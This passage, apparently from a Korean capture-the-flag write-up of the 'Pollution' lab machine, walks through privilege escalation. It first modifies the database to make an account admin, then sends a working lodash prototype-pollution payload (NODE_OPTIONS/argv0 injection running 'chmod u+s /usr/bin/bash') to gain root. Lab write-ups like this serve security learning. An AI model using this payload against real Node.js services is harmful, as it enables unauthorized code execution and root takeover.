{"Documentation":{"Routes":{"/":{"Methods":"GET","Params":null},"/auth/register":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/auth/login":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/client":{"Methods":"GET","Params":null},"/admin/messages":{"Methods":"POST","Params":{"id":"messageid"}},"/admin/messages/send":{"Methods":"POST","Params":{"text":"message text"}}}}
curl -H "Content-type: application/json" -d '{"username":"juicemon","password":"pro123ject!"}' http://localhost:3000/auth/register
여기서 다시 mysql로 돌아가 pollution_api
테이블에 정보가 입력되었는지 확인해보니 API가 실행되어 users 테이블에 입력한 계정이 삽입되었다.
MariaDB [pollution_api]> select * from users;
select * from users;
+----+----------+-------------+-------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+----------+-------------+-------+---------------------+---------------------+
| 1 | juicemon | pro123ject! | user | 2023-06-02 05:08:23 | 2023-06-02 05:08:23 |
+----+----------+-------------+-------+---------------------+---------------------+
victor@pollution:~/pollution_api$ curl -H "Content-type: application/json" -d '{"username":"juicemon","password":"pro123ject!"}' http://localhost:3000/auth/login
<d":"pro123ject!"}' http://localhost:3000/auth/login
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y"}}
victor@pollution:~/pollution_api$ curl http://localhost:3000/admin/messages/send -H "Content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":"test"}'
<DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":"test"}'
{"Status":"Error","Message":"You are not allowed"}
권한이 부족하여 message send 기능이 존재하지 않는다. 이를 우회해야하는것이라는 촉이 강하게 온다!
해당 nodejs 코드를 공격자 PC로컬로 옮겨서 소스코드 분석을 진행하니 pollution_api/routes/admin.js
코드에서 로그인 시 발급된 JWT를 검증하는데 그중 role이 admin
인지 체크한다.
나는 DB접근도 가능하며 쿼리 실행까지 가능하다. 바로 DB로 달려가 pollution_api.users
테이블에 등록된 juicemon 계정의 role을 admin으로 수정한다.
MariaDB [pollution_api]> update users set role="admin" where id=1;
Query OK, 1 row affected (0.002 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MariaDB [pollution_api]> select * from users;
select * from users;
+----+----------+-------------+-------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+----------+-------------+-------+---------------------+---------------------+
| 1 | juicemon | pro123ject! | admin | 2023-06-02 05:08:23 | 2023-06-02 05:08:23 |
+----+----------+-------------+-------+---------------------+---------------------+
1 row in set (0.001 sec)
이후 동일한 토큰을 이용하여 message send api를 호출하면 OK 응답을 받을 수 있다.
curl http://localhost:3000/admin/messages/send -H "Content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":"test"}'
{"Status":"Ok"}
어찌저찌해서 admin으로 권한상승까지 시켜뒀다. 이후 각 API를 처리하는 controller를 찾아 하나씩 확인하던 중 lodash
라는 익숙한 패키지를 확인할 수 있었다.
여기서 Pollution이라는 머신명은 Prototype Pollution을 의미하는걸 눈치챘다.
소스코드 내 package.json
에서 lodash 버전이 4.17.0인것을 보고 무조건 PP 공격을 진행해야된다는것을 알게됐다.
그 이유는 해당 버전에서 SNYK-JS-LODASH-608086 취약점이 존재하고 이전에 PP 공격에 관심이 많아서 자주 찾아봤었기 때문이다!
{
"dependencies": {
"express": "^4.18.1",
"jsonwebtoken": "^8.5.1",
"lodash": "^4.17.0",
"mysql2": "^2.3.3",
"sequelize": "^6.21.4"
}
}
PP 공격을 위해 Json Merge 관련 코드가 존재하는 확인해보니 pollution_api/Messages_send.js
에서 lodash.marge
를 사용한다.
const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');
const messages_send = async(req,res)=>{
const token = decodejwt(req.headers['x-access-token'])
if(req.body.text){
const message = {
user_sent: token.user,
title: "Message for admins",
};
_.merge(message, req.body);
exec('/home/victor/pollution_api/log.sh log_message');
Message.create({
text: JSON.stringify(message),
user_sent: token.user
});
return res.json({Status: "Ok"});
}
return res.json({Status: "Error", Message: "Parameter text not found"});
}
module.exports = { messages_send };
또 다시 HackTricks의 Prototype Pollution to RCE를 참고하여 message send api를 호출할때 전달되는 json 데이터를 아래와 같이 chmod u+s /bin/bash
를 실행하는 PP Payload가 포함된 데이터를 전송하였다.
victor@pollution:~/pollution_api$ curl http://localhost:3000/admin/messages/send -H "Content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod u+s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
<,"NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
{"Status":"Ok"}
이후 /bin/bash 권한을 조회하니 정상적으로 chmod 명령이 root 권한으로 실행되었고 /bin/bash -p
트릭을 이용해서 루트 계정으로 권한 상승이 가능했다.
bash-5.1$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
bash-5.1$ /bin/bash -p
bash-5.1# id
uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)